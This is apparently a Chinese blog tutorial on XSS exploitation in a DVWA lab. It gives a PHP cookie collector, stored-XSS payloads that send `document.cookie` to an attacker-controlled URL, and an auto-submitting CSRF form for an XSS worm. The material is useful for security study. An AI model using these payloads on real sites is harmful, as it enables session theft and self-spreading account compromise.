天天看点

xss利用

xss盗取cookie

什么是cookie

cookie是曲奇饼,啊开个玩笑,cookie是每个用户登录唯一id和账号密码一样可以登录到网站,是的你没有听错cookie可以直接登录,至于服务器怎么设置cookie

和cookie存储这里就不说了,需的要自行百度

xss盗取cookie(dvwa演示)

学习xss时觉得啊这,不就是一个弹窗吗,有啥用,经过学习后发现xss的危害还是挺大的,弹窗的目的只是说明这里可以执行动态脚本,那就可以干很多事情了

环境配置

官网:http://www.dvwa.co.uk/

下载地址:https://github.com/ethicalhack3r/DVWA

下载方式:zip下载或git https://github.com/ethicalhack3r/DVWA

下载完成放入http服务下即可

我使用的是phpstudy下载地址:https://m.xp.cn/

设置接受盗取cookie方式

xss盗取的cookie肯定是要保存到我们自己的服务器上,可以设置一个接受cookie的php网页代码接受到请求携带cookie后保存到文件或者数据库中等都可以,当然也可以不设置存储,随便请求一个一个服务器网页存在不存在无所谓,因为请求可以保存到日志文件,但是看起来可能不方便而已,下面是保存cookie的php代码

<?php

if(isset($_GET['cookie']))                 //如果接收到cookie
{
	$file = fopen('./cookie.txt', 'a');    //打开存储的文件
	fwrite($file, $_GET['cookie']."\r\n"); //将获取的cookie存储
	fclose($file);                         //关闭文件
}
           

放置xss(这里用存储型xss测试)

<script>document.location='http://127.0.0.1/cookies/cookies.php?cookie='+document.cookie;</script>
           

我这里用的本地的测试,document.cookie,就是获取cookie,然后携带cookie访问http://127.0.0.1/cookies/cookies.php?(换成自己服务器ip就可以了,这里我本地测试),先查看一下我们的cookie

xss利用

然后点击我们放存储型xss的地方(xss(stored)),发现跳转到了令一个网站,并且携带了你的cookie

xss利用

在到cookie.php目录查看cookie.txt,可以发现cookie已经被存储,cookie被盗取,我们可以利用cookie进行登录

xss利用

这种动静可能有点大,可以用js加载图片的方式来发送带有cookie的请求,

<script>new Image().src = 'http://127.0.0.1/cookies/cookies.php?cookie='+document.cookie;</script>
           

使用new Image()进行预加载

xss利用

当然如果你还有其动静小的方法可以留言,当然还可以用来加载其他的xss神器js代码

<script src=''>
           

xss蠕虫

前提条件

有存储型xss,可以csrf

原理(个人理解,如有错误可以评论联系我)

xss利用

相关代码(只是简单的,有过滤,要考虑绕过)

主体存储xss

<script>document.location='csrf地址';</script>
           

csrf生成

用burpsuite抓包,右键,如图选择,copy复制,然后放到自己服务器等等,当然也可以自己编写csrf的poc,使之功能更加强大,可以自己点击等等,还有一些绕过等等,这只是简单的csrf的poc

xss利用
xss利用

csrf演示代码,抓取的dvwa包加了js自动点击

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/lmg/vulnerabilities/xss_s/index.php" method="POST">
      <input type="hidden" name="txtName" value="æµ&#139;è&#175;&#149;" />
      <input type="hidden" name="mtxMessage" value="æµ&#139;è&#175;&#149;" />
      <input type="hidden" name="btnSign" value="Sign&#32;Guestbook" />
      <input type="submit" value="Submit request" />
    </form>
  <script type="text/javascript">                          // js自动点击
      var form = document.getElementsByTagName('form')[0];
      var input = document.getElementsByTagName('input')[3];
      input.value = window.location.hash.substr(1);
      form.submit();
  </script>
  </body>
</html>
           

受害者储存xss和主体xss类似只是跳转的网页不同

<script>document.location='csrf地址';</script>
           

个人思考

xss的蠕虫利用起来还是比较难的,要有存储型xss(还要各种绕过),和csrf,但是危害是很大的,不仅仅是传播文章,可以利用这个传播盗取更多人cookie,个人信息,位置,浏览器版本安装软件等等

xss利用的思考(持续思考)

像反射型xss,dom型的xss不在局限于点一个很长的链接,可以利用其他第三方网站来跳转,也可以利用短链接,也可以利用二维码,二维码捆绑一个链接,所以扫描未知二维码是非常危险的事情

像存储型xss,可以利用储存型xss对其他网站进行流量攻击

参考文章与说明

技术讨论 | 记一次XSS蠕虫渗透实验

最后欢迎访问我的个人博客:https://lmg66.github.io/

说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担